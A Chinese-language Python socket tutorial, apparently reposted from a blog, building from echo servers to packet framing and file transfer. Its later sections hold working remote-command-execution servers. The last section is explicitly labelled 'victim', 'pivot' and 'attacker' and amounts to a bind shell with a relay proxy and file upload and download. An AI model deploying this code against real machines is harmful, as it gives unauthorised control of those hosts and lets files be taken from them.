ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

TCP连接

2022-05-02 09:34:33  阅读:134  来源: 互联网

标签:head socket self TCP server client recv 连接


一、最简单的TCP连接

1、服务端

import socket

# 1、建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 2、绑定IP端口
server.bind(('127.0.0.1',7777))

# 3、最大连接数
server.listen(5)

# 4、等待连接,conn为连接对象,client_addr为客户端的IP和端口,对应客户端第二步
conn,client_addr = server.accept()

# 5、收消息,最大接收1024个字节
data = conn.recv(1024)
print(f'客户端的数据:{data}')

# 6、发消息,将发送过来的数据大写发回去
conn.send(data.upper())

# 7、关闭连接
conn.close()

# 8、关闭socket对象
server.close()

2、客户端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

#发消息
client.send('hello'.encode('utf-8'))

#收消息
data = client.recv(1024)
print(data)

#关闭socket对象
client.close()

二、 通信循环

1、服务端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    #收消息
    data = conn.recv(1024)
    print(f'客户端的数据:{data}')
    #发消息
    conn.send(data.upper())

#关闭连接
conn.close()

#关闭socket对象
server.close()

2、客户端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    #发消息
    client.send(msg.encode('utf-8'))
    #收消息
    data = client.recv(1024)
    print(data)
#关闭socket对象
client.close()

三、存在两个bug

正常发送消息流程为:
客户端:本机应用层客户端发送数据到本机操作系统内存中,操作系统接收数据后,进行协议封装,调用网卡,发送数据
服务端:数据会到达服务端操作系统内存中,服务端客户端recv让操作系统调用网卡接收数据,从而完成一次数据的传输

  • 如果客户端发送一个空,会导致卡死,原因就是客户端发送为空,但是客户端操作系统没收到任何东西,导致客户端操作系统没有发送数据,服务端一直卡在收消息这步,然后客户端这边没收到消息,然后就会卡死

  • 客户端单方面终止程序,在windows下服务端会报错,在linux下会使服务端产生死循环

1、服务端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    try:
        #收消息
        data = conn.recv(1024)
        if not data:break
        print(f'客户端的数据:{data}')
        #发消息
        conn.send(data.upper())
    except ConnectionResetError:
        break
#关闭连接
conn.close()

#关闭socket对象
server.close()

2、客户端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    if not msg:continue
    #发消息
    client.send(msg.encode('utf-8'))
    #收消息
    data = client.recv(1024)
    print(data)
#关闭socket对象
client.close()

四、模拟ssh远程执行命令

1、服务端

import socket,subprocess

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    try:
        #收消息
        data = conn.recv(1024)
        if not data:break
        obj = subprocess.Popen(data.decode('utf-8'), shell=True,
                               stdout = subprocess.PIPE,
                               stderr = subprocess.PIPE)
        stdout = obj.stdout.read()
        stderr = obj.stderr.read()
        #发消息
        conn.send(stdout+stderr)
    except ConnectionResetError:
        break
#关闭连接
conn.close()

#关闭socket对象
server.close()

2、客户端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    if not msg:continue
    #发消息
    client.send(msg.encode('utf-8'))
    #收消息
    data = client.recv(1024)
    print(data.decode('gbk'))
#关闭socket对象
client.close()

3、存在粘包现象(管道中存留上次传输没有接收完的数据),导致执行命令返回的结果不同步,还有传输时需要编码对应

五、TCP访问流程

1、应用层客户端发送数据到传输层操作系统,send就结束了,余下的由操作系统根据协议发送数据到服务端,服务端recv直接调用不了网卡,控制操作系统收到数据,收到了将数据保存到操作系统内存中,然后再拷贝到服务端中

2、客户端发送只有一个步骤,时间短,服务端接收有两步,受硬件和网络传输影响,时间长

3、不是一个send对应一个recv,TCP有优化算法,会将时间间隔较短且数据较小的数据合并成一个数据进行发送

  • 服务端
点击查看代码
import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

data1 = conn.recv(1024)
print(data1)
data2 = conn.recv(1024)
print(data2)
  • 客户端,会造成客户端发送的数据粘包
点击查看代码
import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 7777))
client.send('hello'.encode('utf-8'))
client.send('word'.encode('utf-8'))

  • 服务端代码不变,客户端发送数据睡五秒,客户端发送数据不粘包
点击查看代码
import socket,time

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 7777))
client.send('hello'.encode('utf-8'))
time.sleep(5)
client.send('word'.encode('utf-8'))

  • 服务端粘包

服务端:

点击查看代码
import socket,time

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
server.bind(('127.0.0.1',7777))
server.listen(5)
conn,client_addr = server.accept()
data1 = conn.recv(1)
print(data1)
time.sleep(6)
data2 = conn.recv(1024)
print(data2)

客户端:

点击查看代码
import socket,time

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 7777))
client.send('hello'.encode('utf-8'))
time.sleep(5)
client.send('word'.encode('utf-8'))

五、解决粘包问题传输服务端

1、制作报头字典(一些描述信息,如:文件名,md5,文件大小)

2、将报头字典json化(因为最后传输是二进制,先将字典转换字符串,在编码成为二进制)

3、将json化报头用struct.pack打包成一个固定的大小,就是报头大小,发送给客户端

4、发送报头

5、发送真实数据

点击查看代码
import socket,subprocess,struct,json

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    try:
        #收消息
        data = conn.recv(1024)
        if not data:break
        obj = subprocess.Popen(data.decode('utf-8'), shell=True,
                               stdout = subprocess.PIPE,
                               stderr = subprocess.PIPE)
        stdout = obj.stdout.read()
        stderr = obj.stderr.read()

        # 第一步
        header_dic = {
            'total_size' : len(stdout) + len(stderr)
        }
        #第二步
        header_bytes = json.dumps(header_dic).encode('utf-8')

        #第三步
        conn.send(struct.pack('i',len(header_bytes)))

        #第四步
        conn.send(header_bytes)

        #第五步
        conn.send(stdout)
        conn.send(stderr)
    except ConnectionResetError:
        break
#关闭连接
conn.close()

#关闭socket对象
server.close()

六、解决粘包问题传输客户端

1、接收报头长度

2、再接收报头

3、从报头中解析出真实的描述信息,如文件大小

4、接收真实数据

点击查看代码
import socket,struct,json

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    if not msg:continue
    #发消息
    client.send(msg.encode('utf-8'))
    #第一步
    obj = client.recv(4)
    header_size = struct.unpack('i',obj)[0]

    #第二步
    header_bytes = client.recv(header_size)

    #第三步
    header_json = header_bytes.decode('utf-8')
    header_dic = json.loads(header_json)
    total_size = header_dic['total_size']

    recv_size = 0
    recv_data = b''
    while recv_size < total_size:
        res = client.recv(1024)
        recv_data += res
        recv_size += len(res)
    print(recv_data.decode('gbk'))

#关闭socket对象
client.close()

七、上传下载

1、下载服务端

  • 接收客户端传过来的命令
  • 解析文件名
  • 以读的方式打开文件
  • 制作固定报头(其他的都一样)
  • 发送真实数据修改成文件数据
点击查看代码
import socket,subprocess,struct,json,os

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    try:
        #收消息
        data = conn.recv(1024)
        if not data:break

        cmds = data.decode('utf-8').split()

        filename = cmds[1]

        #
        header_dic = {
            'filename' : filename,
            'file_size' : os.path.getsize(f'./{filename}')
        }

        header_bytes = json.dumps(header_dic).encode('utf-8')


        conn.send(struct.pack('i',len(header_bytes)))


        conn.send(header_bytes)


        with open(f'./{filename}', 'rb') as f:
            for line in f:
                conn.send(line)
    except ConnectionResetError:
        break
#关闭连接
conn.close()

#关闭socket对象
server.close()

2、下载客户端

  • 获取报头中的文件名
  • 以写的方式打开文件
  • 接收真实数据,写入文件中
点击查看代码
import socket,struct,json,os


#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    if not msg:continue
    #发消息
    client.send(msg.encode('utf-8'))
    #第一步
    obj = client.recv(4)
    header_size = struct.unpack('i',obj)[0]

    #第二步
    header_bytes = client.recv(header_size)

    #第三步
    header_json = header_bytes.decode('utf-8')
    header_dic = json.loads(header_json)
    file_size = header_dic['file_size']
    filename = header_dic['filename']

    with open(f'./{filename}','wb') as f:
        recv_size = 0
        while recv_size < file_size:
            line = client.recv(1024)
            f.write(line)
            recv_size += len(line)
            print(f'总大小:{file_size}  已下载:{recv_size}')

#关闭socket对象
client.close()

八、简易版TCP连接

1、服务端

import socket
import threading

bind_ip = "127.0.0.1"
bind_port = 7777

# 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定IP端口
server.bind((bind_ip,bind_port))

# 最大连接数
server.listen(5)
#打印监听端口
print(f'listening on {bind_ip}:{bind_port}')


def handle_client(client_socket):
    request = client_socket.recv(1024).decode('utf-8')
    print(request)
    client_socket.send("ACK!".encode('utf-8'))
    client_socket.close()

while True:

    # 等待连接,client为连接对象,client_addr为客户端的IP和端口
    client,client_addr = server.accept()
    print(f'客户端对象:{client},IP:{client_addr}')
    #多线程
    client_handler = threading.Thread(target = handle_client,args=(client,))
    client_handler.start()

# 8、关闭socket对象
server.close()

2、客户端

import socket

bind_ip = "127.0.0.1"
bind_port = 7777

# 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定IP端口
client.connect((bind_ip,bind_port))

client.send("hello".encode('gbk'))

response = client.recv(1024).decode('utf-8')
print(response)

九、TCP代理完整版

1、受害机


import socket,struct,json,subprocess,os

class My_Tcp_Server:
    address_family = socket.AF_INET
    socket_type = socket.SOCK_STREAM
    allow_reuse_addresss = False
    max_packet_size = 1024
    coding = 'utf-8'
    request_queue_size = 5
    server_dir = './'

    # 初始化
    def __init__(self, server_address, bind_and_activate = True):
        # 本机IP
        self.server_address = server_address
        # 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
        self.socket = socket.socket(self.address_family,self.socket_type)
        if bind_and_activate:
            try:
                # 绑定端口IP
                self.server_bind()
                self.server_activate()
            except:
                self.server_close()
                raise

    def server_bind(self):
        if self.allow_reuse_addresss:
            # 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
            self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        # 绑定端口IP
        self.socket.bind(self.server_address)

        self.socket_address = self.socket.getsockname()

    # 最大连接数
    def server_activate(self):
        self.socket.listen(self.request_queue_size)

    # 关闭socket对象
    def server_close(self):
        self.socket.close()

    # 等待连接,会返回对象和客户端的IP跟端口
    def get_request(self):
        return self.socket.accept()

    # 关闭连接
    def close_request(self,requet):
        requet.close()

    # 报头序列化打包发送
    def json_struct(self, head_dic):
        head_json = json.dumps(head_dic)
        head_json_bytes = bytes(head_json, encoding=self.coding)

        head_struct = struct.pack('i', len(head_json_bytes))
        self.conn.send(head_struct)
        self.conn.send(head_json_bytes)

    def run(self):
        while True:
            # 一个对象和客户端的IP跟端口
            self.conn,self.client_add = self.get_request()
            print('from client ',self.client_add)
            while True:
                try:
                    # 接收攻击机发过来的命令
                    head_struct =self.conn.recv(4)
                    # 判断命令是否为空
                    if not head_struct:break
                    # 反序列化报文解析命令
                    head_len = struct.unpack('i',head_struct)[0]
                    head_json = self.conn.recv(head_len).decode(self.coding)
                    head_dic = json.loads(head_json)

                    # 获取命令
                    cmd_type = head_dic['cmd']
                    if cmd_type in ['put', 'download']:
                        # self是否存cmd_type这个属性
                        if hasattr(self,cmd_type):
                            # 函数名存在就返回函数名,不存在就触发异常
                            func = getattr(self,cmd_type)
                            # 调用相关函数
                            func(head_dic)
                    else:
                        self.cmd(cmd_type)
                except Exception:
                    break
            # 关闭连接
            self.close_request(self.conn)

    def cmd(self, args):
        obj = subprocess.Popen(args, shell=True,
                               text=True,
                               stdout = subprocess.PIPE,
                               stderr = subprocess.PIPE
                               )

        stdout = obj.stdout.read().encode(self.coding)
        stderr = obj.stderr.read().encode(self.coding)



        header_dic = {
            'size': len(stdout) + len(stderr)
        }
        self.json_struct(header_dic)
        self.conn.send(stdout)
        self.conn.send(stderr)

    # 上传
    def put(self, args):
        # 获取要上传的文件
        filename = args['filename']
        # 判断文件是否存在
        if not os.path.isfile(filename):
            head_dic = {'error':'文件不存在'}
            self.json_struct(head_dic)
            return
        else:
            # 获取要上传的文件大小
            filesize = os.path.getsize(filename)
        # 将要上传的将文件描述信息制作成字典
        head_dic = {'filename': os.path.basename(filename), 'filesize': filesize}
        # 发送报头
        self.json_struct(head_dic)
        # 以读的方式打开文件
        with open(filename, 'rb') as f:
            for line in f:
                # 发送文件数据
                self.conn.send(line)

    # 下载文件
    def download(self,args):
        # 文件保存地址
        file_path = os.path.normpath(os.path.join(
            self.server_dir,
            args['filename']
        ))

        # 获取文件大小
        filesize = args['filesize']
        # 用来判断文件传输完成没
        recv_size = 0
        print('------>',file_path)
        # 以写的方式打开文件
        with open(file_path,'wb') as f:
            # 下载的文件数据小于文件大小就执行
            while recv_size < filesize:
                # 接收发过来的数据,以最大1024个字节为准
                recv_data = self.conn.recv(self.max_packet_size)
                # 写入数据
                f.write(recv_data)
                # 用来判断文件传输完成没
                recv_size += len(recv_data)




Tcp_server = My_Tcp_Server(('0.0.0.0',8080))

Tcp_server.run()

2、跳板机

# coding:utf8
# 创建一个 TCP 代理

import sys
import socket
import threading

def server_loop(local_host, local_port, remote_host, remote_port, receive_first):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        # 跳板机监听的 host和端口
        server.bind((local_host, local_port))
    except Exception:
        print(f'监听本地端口失败{local_host}:{local_port}')
        sys.exit(0)

    print(f'[*]Listening on{local_host}:{local_port}')

    #开始监听TCP传入连接
    server.listen(5)

    while True:
        # 获取攻击机请求过来的数据,client_socket为跳板机与攻击机连接的socket对象
        client_socket, addr = server.accept()

        # 打印出本地客户端连接的信息
        print(f'连接成功,攻击机 {addr[0]}:{addr[1]}')

        # 开启一个线程 与 受害机通信
        proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))

        proxy_thread.start()


# 十六进制转储的函数
def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, str) else 2

    for i in range(0, len(src), length):
        s = src[i:i+length]
        hexa = b' ' . join(["%0*X" % (digits, ord(x)) for x in s])
        text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
        result.append(b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text))

    print(b'\n'.join(result))

# 接收攻击机或受害机发送的数据
def receive_from(connection):
    print('开始接收数据')
    # 用来存储接收的数据
    buffer = b""

    # 我们设置了两秒的超时, 这取决于目标的情况, 可能需要调整
    connection.settimeout(2)

    try:
        # 持续从缓存中读取数据直到没有数据或者超时
        while True:
            data = connection.recv(4096)
            print(f'接收的数据是 {data}')
            if not data:
                print('接收完了')
                break

            buffer += data

    except Exception as e:
        print('error for receive_from')
        print(e)

    return buffer

# 对目标是远程主机的请求进行修改
def request_handler(buffer):
    #执行包修改
    return buffer

# 对目标是本地主机的响应进行修改
def response_handler(buffer):
    #执行包修改
    return buffer



def proxy_handler(client_socket, remote_host, remote_port, receive_first):

    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print(f'正在连接 {remote_host}:{remote_port}')
    # 连接受害机,remote_socket为跳板机与受害机连接对象
    remote_socket.connect((remote_host, remote_port))

    # 如果必要从受害机接收数据
    if receive_first:
        # 接收受害机传输过来的数据
        remote_buffer = receive_from(remote_socket)
        #hexdump(remote_buffer)

        # 发送给我们的响应处理
        remote_buffer = response_handler(remote_buffer)

        # 如果我们有数据就传递给攻击机,发送它
        if len(remote_buffer):
            print(f'[<==] Sending {len(remote_buffer)} bytes to localhost')
            client_socket.send(remote_buffer)

    # 现在我们从本地循环读取数据, 发送给受害机和攻击机
    while True:
        # 接收攻击机发送过来的数据
        local_buffer = receive_from(client_socket)
        print(f'接收攻击机数据 {local_buffer}')
        # 如果攻击机发送数据,就转发
        if len(local_buffer):
            print(f'攻击机发送{len(local_buffer)}字节')
            #hexdump(local_buffer)

            # 这里可以改变我们请求的数据 过滤等功能
            local_buffer = request_handler(local_buffer)

            # 将攻击机发送的数据转发给受害机
            remote_socket.send(local_buffer)
            print('正在向受害机发送数据')

        # 接收受害机发送过来的数据
        remote_buffer = receive_from(remote_socket)
        # 如果受害机发送数据就转发
        if len(remote_buffer):
            print(f'受害机发送 {len(remote_buffer)}字节')
            #hexdump(remote_buffer)

            # 发送到响应处理函数
            remote_buffer = response_handler(remote_buffer)

            # 将受害机发送的数据转发给攻击机
            client_socket.send(remote_buffer)

def main():
    if len(sys.argv[1:]) != 5:
        # print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
        # print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
        sys.exit(0)

    # 设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    # 设置远程目标
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    # 告诉代理在发送给远程主机之前连接和接受数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    # 设置好我们的监听 socket
    server_loop(local_host, local_port, remote_host, remote_port, receive_first)

main()

3、攻击机


import socket,struct,json,os

class My_Tcp_Client:
    address_family = socket.AF_INET
    socket_type = socket.SOCK_STREAM
    allow_reuse_addresss = False
    max_packet_size = 1024
    coding = 'utf-8'
    server_dir = './'

    #初始化
    def __init__(self, server_address, connect = True):
        # 受害机的IP
        self.server_address = server_address
        # 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
        self.socket = socket.socket(self.address_family,self.socket_type)
        if connect:
            try:
                self.client_connect()
            except:

                self.client_close()
                raise

    # 连接受害机
    def client_connect(self):
        self.socket.connect(self.server_address)

    # 关闭socket对象
    def server_close(self):
        self.socket.close()

    # 报头序列化打包发送
    def json_struct(self, head_dic):
        head_json = json.dumps(head_dic)
        head_json_bytes = bytes(head_json, encoding=self.coding)

        head_struct = struct.pack('i', len(head_json_bytes))
        self.socket.send(head_struct)
        self.socket.send(head_json_bytes)

    def run(self):
        while True:
            while True:
                # 接收命令参数
                msg = input(">>>:").strip()
                # 判断输入是否为空
                if not msg:continue
                l = msg.split()
                # 获取命令类型
                cmd_type = l[0]
                if cmd_type in ['put','download']:
                    if hasattr(self,cmd_type):
                        func = getattr(self,cmd_type)
                        func(l)
                else:
                    self.cmd(msg)

    def cmd(self,args):
        head_dic ={'cmd':args}
        self.json_struct(head_dic)

        # 接收要下载文件描述信息
        head_struct = self.socket.recv(4)
        head_len = struct.unpack('i', head_struct)[0]
        head_json = self.socket.recv(head_len).decode(self.coding)
        head_dic = json.loads(head_json)
        size = head_dic['size']

        recv_size = 0
        recv_data = b''
        while recv_size < size:
            res = self.socket.recv(self.max_packet_size)
            recv_data += res
            recv_size += len(res)
        print(recv_data.decode('utf-8').strip())

    # 上传
    def put(self,args):
        # 我们上传对应对面下载函数
        cmd = args[0] if args[0] != 'put' else 'download'
        # 上传文件
        filename = args[1]
        # 判断文件是否存在
        if not os.path.isfile(filename):
            print(f'file:{filename} is not exists')
            return
        else:
            # 获取文件大小
            filesize = os.path.getsize(filename)

        # 将文件描述信息制作成字典
        head_dic = {'cmd':cmd, 'filename':os.path.basename(filename),'filesize':filesize}
        # 将字典序列化打包发送受害机
        self.json_struct(head_dic)
        # 上传文件
        with open(filename, 'rb') as f:
            for line in f:
                self.socket.send(line)

    # 下载文件
    def download(self,args):
        # 下载对应着对面上传函数
        cmd = args[0] if args[0] != 'download' else 'put'
        # 将要下载的文件命令制作成字典
        head_dic = {'cmd':cmd, 'filename':args[1]}
        # 将字典序列化打包发送受害机
        self.json_struct(head_dic)
        # 接收要下载文件描述信息
        head_struct = self.socket.recv(4)
        head_len = struct.unpack('i', head_struct)[0]
        head_json = self.socket.recv(head_len).decode(self.coding)
        head_dic = json.loads(head_json)

        # 判断发送过来的是正确的文件描述信息还是报错信息
        if 'error' in head_dic:
            print(head_dic['error'])
            return

        # 下载到本地的哪个位置
        file_path = os.path.normpath(os.path.join(
            self.server_dir,
            head_dic['filename']
        ))

        # 获取下载的文件大小信息
        filesize = head_dic['filesize']
        recv_size = 0
        print('------>', file_path)
        # 以写打开文件
        with open(file_path, 'wb') as f:
            # 循环下载文件数据
            while recv_size < filesize:
                # 接收发过来的数据,以最大1024个字节为准
                recv_data = self.socket.recv(self.max_packet_size)
                # 将下载下来的数据写入本地中
                f.write(recv_data)
                # 用来判断是否下载完
                recv_size += len(recv_data)
                # 打印下载进度
                print(f'recvsize:{recv_size} , filesize:{filesize}')



Tcp_Client = My_Tcp_Client(('192.168.223.128',7777))

Tcp_Client.run()

标签:head,socket,self,TCP,server,client,recv,连接
来源: https://www.cnblogs.com/lnterpreter/p/16171847.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有